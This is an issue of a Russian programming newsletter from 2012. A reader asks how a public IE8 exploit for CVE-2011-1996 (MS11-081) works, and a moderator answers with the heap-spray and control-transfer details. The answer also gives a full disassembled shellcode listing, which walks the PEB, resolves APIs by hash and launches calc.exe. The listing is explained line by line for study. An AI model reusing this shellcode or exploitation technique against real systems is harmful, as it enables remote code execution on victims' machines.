Отправляет email-рассылки с помощью сервиса Sendsay
  Все выпуски  

RFpro.ru: Консультации по функциям WinAPI


Хостинг портала RFpro.ru:
Московский хостер
Профессиональный ХОСТИНГ на базе Linux x64 и Windows x64

РАССЫЛКИ ПОРТАЛА RFPRO.RU

Лучшие эксперты по данной тематике

Орловский Дмитрий
Статус: Мастер-Эксперт
Рейтинг: 7274
∙ повысить рейтинг »
Коцюрбенко Алексей aka Жерар
Статус: Советник
Рейтинг: 4358
∙ повысить рейтинг »
CradleA
Статус: Бакалавр
Рейтинг: 2477
∙ повысить рейтинг »

/ КОМПЬЮТЕРЫ И СОФТ / Программирование / WinAPI

Номер выпуска:602
Дата выхода:27.06.2012, 15:00
Администратор рассылки:Лысков Игорь Витальевич (Старший модератор)
Подписчиков / экспертов:102 / 47
Вопросов / ответов:1 / 1

Консультация # 186391: Здравствуйте! Прошу помощи в следующем вопросе: У браузера IE8 для Windows XP была уязвимость, основанная на переполнении тега Option, которая делает возможным удаленное выполнение кода. Бюллетень по безопасности (Майкрософт): MS11-081, уязвимость: CVE-2011-1996 Это ссылка на страницу Microsoft:

Консультация # 186391:

Здравствуйте! Прошу помощи в следующем вопросе: У браузера IE8 для Windows XP была уязвимость, основанная на переполнении тега Option, которая делает возможным удаленное выполнение кода. Бюллетень по безопасности (Майкрософт): MS11-081, уязвимость: CVE-2011-1996 Это ссылка на страницу Microsoft: URL >>Бюллетень по безопасности (Майкрософт) MS11-081 Имеется код веб-страницы, написанный на JavaScript, который реализует данную уязвимость - работает на Windows XP в IE8 (в версии до устранения проблемы Microsoft) - данный пример делает вызов приложения Калькулятор, код JavaScript в Приложении к письму. Также имеется заключение по указанной уязвимости с фрагментами дизассемблированного кода - это ссылка на скачивание pdf файла с описанием: URL >>Заключение по уязвимости Есть общее понимание как работает данная уязвимость, есть общие знания по ассемблеру, JavaScript и WinAPI. Вопрос: хочется понять полную картину происходящего: как вычислялись нужные точки в оперативной памяти, как происходили переходы на выполнение кода, в данном случае запуска Калькулятора. Как я понимаю после переполнения возникала исключительная ситуация, передавалось выполнение ей, а адрес возврата из нее подменялся адресом нужного для исполнения кода. Но у меня картина понимания размывчатая, хочется в точности понять суть, как говорится с точностью до байта. Спасибо!

Дата отправки: 19.06.2012, 14:36
Вопрос задал: Степанов Дмитрий Владимирович (1-й класс)
Всего ответов: 1
Страница онлайн-консультации »


Консультирует Зенченко Константин Николаевич (Модератор):

Здравствуйте, Степанов Дмитрий Владимирович!

Уязвимость основана на том, что при попытке сбросить форму командой f.reset(), в одном из регистров будет находится адрес строки "\u0024\u1616AABBBBCCCCDDDDEEEEFFFF" и в последствии управление попадет по адресу 0x16160024(см. первые четыре байта) в средину уже созданого спрея spraySlide. Первые 516 байт спрея заполнны буферной информацией, которая при выполнении ничего существенного не делает, единственное его назначение поймать управление в диапозоне адресов и передать его коду(payLoadCode) открывающему удаленный доступ.

Код :
seg000:00000000 ; Input MD5   : EFAD2A5D82D5832ECBE3A0690A8907DB
seg000:00000000 ; File Name   : D:\_CAT_XP3\Asm_lib\Q186391.DMP
seg000:00000000 ; Format      : Binary file
seg000:00000000 ; Base Address: 0000h Range: 0000h - 00D8h Loaded length: 00D8h
seg000:00000000                 .686p
seg000:00000000                 .mmx
seg000:00000000                 .model flat
seg000:00000000 ; Segment type: Pure code
seg000:00000000 seg000          segment byte public 'CODE' use32
seg000:00000000                 assume cs:seg000
seg000:00000000                 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
seg000:00000000                 cld
seg000:00000001                 call    near ptr loc_8C+3
seg000:00000006                 pusha
seg000:00000007                 mov     ebp, esp
seg000:00000009                 xor     edx, edx
seg000:0000000B                 mov     edx, fs:[edx+30h]
seg000:0000000F                 mov     edx, [edx+0Ch]
seg000:00000012                 mov     edx, [edx+14h]
seg000:00000015                 mov     esi, [edx+28h]
seg000:00000018                 movzx   ecx, word ptr [edx+26h]
seg000:0000001C                 xor     edi, edi
seg000:0000001E                 xor     eax, eax
seg000:00000020                 push    edx
seg000:00000021                 or      al, 8Bh
seg000:00000023                 push    edx
seg000:00000024 loc_24:
seg000:00000024                 adc     al, 8Bh ; '?'
seg000:00000026                 jb      short near ptr loc_4F+1
seg000:00000028                 movzx   ecx, word ptr [edx+26h]
seg000:0000002C                 xor     edi, edi
seg000:0000002E loc_2E:
seg000:0000002E                 xor     eax, eax
seg000:00000030                 lodsb
seg000:00000031                 cmp     al, 61h ; 'a'
seg000:00000033                 jl      short loc_37
seg000:00000035                 sub     al, 20h ; ' '
seg000:00000037 loc_37:
seg000:00000037                 ror     edi, 0Dh
seg000:0000003A                 add     edi, eax
seg000:0000003C                 loop    loc_2E
seg000:0000003E                 push    edx
seg000:0000003F                 push    edi
seg000:00000040                 mov     edx, [edx+10h]
seg000:00000043                 mov     eax, [edx+3Ch]
seg000:00000046                 add     eax, edx
seg000:00000048                 mov     eax, [eax+78h]
seg000:0000004B                 test    eax, eax
seg000:0000004D                 jz      short loc_99
seg000:0000004F loc_4F:
seg000:0000004F                 add     eax, edx
seg000:00000051                 push    eax
seg000:00000052                 mov     ecx, [eax+18h]
seg000:00000055                 mov     ebx, [eax+20h]
seg000:00000058                 add     ebx, edx
seg000:0000005A loc_5A:
seg000:0000005A                 jecxz   short loc_98
seg000:0000005C                 dec     ecx
seg000:0000005D                 mov     esi, [ebx+ecx*4]
seg000:00000060                 add     esi, edx
seg000:00000062                 xor     edi, edi
seg000:00000064 loc_64:
seg000:00000064                 xor     eax, eax
seg000:00000066                 lodsb
seg000:00000067                 ror     edi, 0Dh
seg000:0000006A                 add     edi, eax
seg000:0000006C                 cmp     al, ah
seg000:0000006E                 jnz     short loc_64
seg000:00000070                 add     edi, [ebp-8]
seg000:00000073                 cmp     edi, [ebp+24h]
seg000:00000076                 jnz     short loc_5A
seg000:00000078                 pop     eax
seg000:00000079                 mov     ebx, [eax+24h]
seg000:0000007C                 add     ebx, edx
seg000:0000007E                 mov     cx, [ebx+ecx*2]
seg000:00000082                 mov     ebx, [eax+1Ch]
seg000:00000085                 add     ebx, edx
seg000:00000087                 mov     eax, [ebx+ecx*4]
seg000:0000008A                 add     eax, edx
seg000:0000008C loc_8C:
seg000:0000008C                 mov     [esp+24h], eax
seg000:00000090                 pop     ebx
seg000:00000091                 pop     ebx
seg000:00000092                 popa
seg000:00000093                 pop     ecx
seg000:00000094                 pop     edx
seg000:00000095                 push    ecx
seg000:00000096                 jmp     eax
seg000:00000098 loc_98:
seg000:00000098                 pop     eax
seg000:00000099 loc_99:
seg000:00000099                 pop     edi
seg000:0000009A                 pop     edx
seg000:0000009B                 mov     edx, [edx]
seg000:0000009D                 jmp     short near ptr loc_24+1
seg000:0000009F                 pop     ebp
seg000:000000A0                 push    1
seg000:000000A2                 lea     eax, [ebp+0B9h]
seg000:000000A8                 push    eax
seg000:000000A9                 push    876F8B31h
seg000:000000AE                 call    ebp
seg000:000000B0                 mov     ebx, 56A2B5F0h
seg000:000000B5                 push    9DBD95A6h
seg000:000000BA                 call    ebp
seg000:000000BC                 cmp     al, 6
seg000:000000BE                 jl      short loc_CA
seg000:000000C0                 cmp     bl, 0E0h
seg000:000000C3                 jnz     short loc_CA
seg000:000000C5                 mov     ebx, 6F721347h
seg000:000000CA loc_CA:
seg000:000000CA                 push    0
seg000:000000CC                 push    ebx
seg000:000000CD                 call    ebp
seg000:000000CF aCalc_exe       db 'calc.exe',0
seg000:000000CF seg000          ends
seg000:000000CF                 end



Прокомментирую только самые важные строки:
строка 13 - вызов подпрограммы, для получения текущего адреса, так называемый дельта-вызов. Это нужно для вычисления точного адреса с именем запускаемого приложения(строка 114).
строка 14 - запоминаются в стеке полученные значения.
строка 15 - стек делается адресуемым.
строка 16 - сбрасываем регистр для дальнейшей работы.
строки 17:19 - читаем информацию из системной области памяти:

По нулевому смещенню в сегменте находится структура ТЕВ(Thread Environment Block; блок окружения потока),
17 : mov edx, fs:[edx+30h]; в EDX загружается указатель на РЕВ(Process Enviroment Block, блок окружения процесса)
18 : mov edx, [edx+0Ch]; в EDX загружается указатель на PEB_LDR_DATA(информация о загруженных модулях)
19 : mov edx, [edx+14h]; в EDX загружается указатель на LDR_MODULE(информация о загруженном модуле)

Практически всё: уже есть доступ ко всей информации, в том числе к библиотеке KERNEL.DLL и функции CreateProcess, которая и запускает калькулятор.

Удачи!

Консультировал: Зенченко Константин Николаевич (Модератор)
Дата отправки: 25.06.2012, 17:03
Рейтинг ответа:

НЕ одобряю 0 одобряю!


Оценить выпуск | Задать вопрос экспертам

главная страница  |  стать участником  |  получить консультацию
техническая поддержка  |  восстановить логин/пароль

Дорогой читатель!
Команда портала RFPRO.RU благодарит Вас за то, что Вы пользуетесь нашими услугами. Вы только что прочли очередной выпуск рассылки. Мы старались. Пожалуйста, оцените его. Если совет помог Вам, если Вам понравился ответ, Вы можете поблагодарить автора - для этого в каждом ответе есть специальные ссылки. Вы можете оставить отзыв о работе портале. Нам очень важно знать Ваше мнение. Вы можете поближе познакомиться с жизнью портала, посетив наш форум, почитав журнал, который издают наши эксперты. Если у Вас есть желание помочь людям, поделиться своими знаниями, Вы можете зарегистрироваться экспертом. Заходите - у нас интересно!
МЫ РАБОТАЕМ ДЛЯ ВАС!



В избранное